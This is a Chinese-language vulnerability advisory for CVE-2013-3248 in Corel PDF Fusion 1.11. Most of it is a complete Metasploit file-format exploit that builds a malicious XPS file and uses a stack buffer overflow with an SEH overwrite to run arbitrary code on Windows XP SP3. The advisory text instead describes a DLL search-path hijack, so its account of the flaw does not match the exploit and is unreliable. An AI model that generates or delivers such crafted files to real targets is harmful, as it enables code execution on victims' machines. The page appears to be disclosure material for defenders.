发布日期：2013-07-08
更新日期：2013-07-08

受影响系统：

wordperfect Corel PDF Fusion 1.11

描述：

---

BUGTRAQ  ID: 61010
CVE(CAN) ID: CVE-2013-3248

Corel PDF Fusion可以查看或合并PDF文档。

Corel PDF Fusion 1.11及其他版本在实现上存在可疑搜索路径漏洞，本地用户通过当前工作目录内的木马wintab32.dll文件，利用此漏洞可获取提升的权限。

<*来源：kaveh ghaemmaghami
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex/zip'


class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Corel PDF Fusion Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability in version 1.11 of
        Corel PDF Fusion. The vulnerability exists while handling a XPS file with long entry
        names. In order for the payload to be executed, an attacker must convince the target
        user to open a specially crafted XPS file with Corel PDF Fusion. By doing so, the
        attacker can execute arbitrary code as the target user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Kaveh Ghaemmaghami', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-3248' ],
          [ 'OSVDB', '94933' ],
          [ 'BID', '61010' ],
          [ 'URL', 'http://secunia.com/advisories/52707/' ]
        ],
      'Platform'       => [ 'win' ],
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space' => 4000
        },
      'Targets'        =>
        [
          # Corel PDF Fusion 1.11 (build 2012/04/25:21:00:00)
          # CorelFusion.exe 2.6.2.0
          # ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates
          [ 'Corel PDF Fusion 1.11 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 4640 } ]
        ],
      'DisclosureDate' => 'Jul 08 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.xps'])
      ], self.class)

  end


  def exploit
    template = [
      "[Content_Types].xml",
      "_rels/.rels",
      "docProps/thumbnail.jpeg",
      "docProps/core.xml",
      "FixedDocSeq.fdseq",
      "Documents/1/Pages/_rels/1.fpage.rels",
      "Documents/1/_rels/FixedDoc.fdoc.rels",
      "Documents/1/FixedDoc.fdoc",
      "Documents/1/Structure/Fragments/1.frag",
      "Documents/1/Structure/DocStructure.struct",
      "Documents/1/Pages/1.fpage",
    ]

    xps = Rex::Zip::Archive.new
    template.each do |k|
      xps.add_file(k, rand_text_alpha(10 + rand(20)))
    end

    resources_length = "Resources/".length
    sploit = "Resources/"
    sploit << payload.encoded
    sploit << rand_text(target['Offset'] - sploit.length)
    sploit << generate_seh_record(target.ret)
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset'] + 8 - resources_length}").encode_string # 8 => seh_record length
    sploit << rand_text(1500) # Trigger exception

    xps.add_file(sploit, rand_text_alpha(10 + rand(20)))

    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(xps.pack)
  end

end

建议：

---

厂商补丁：

wordperfect
-----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.wordperfect.com/us/product/pdf-creator/

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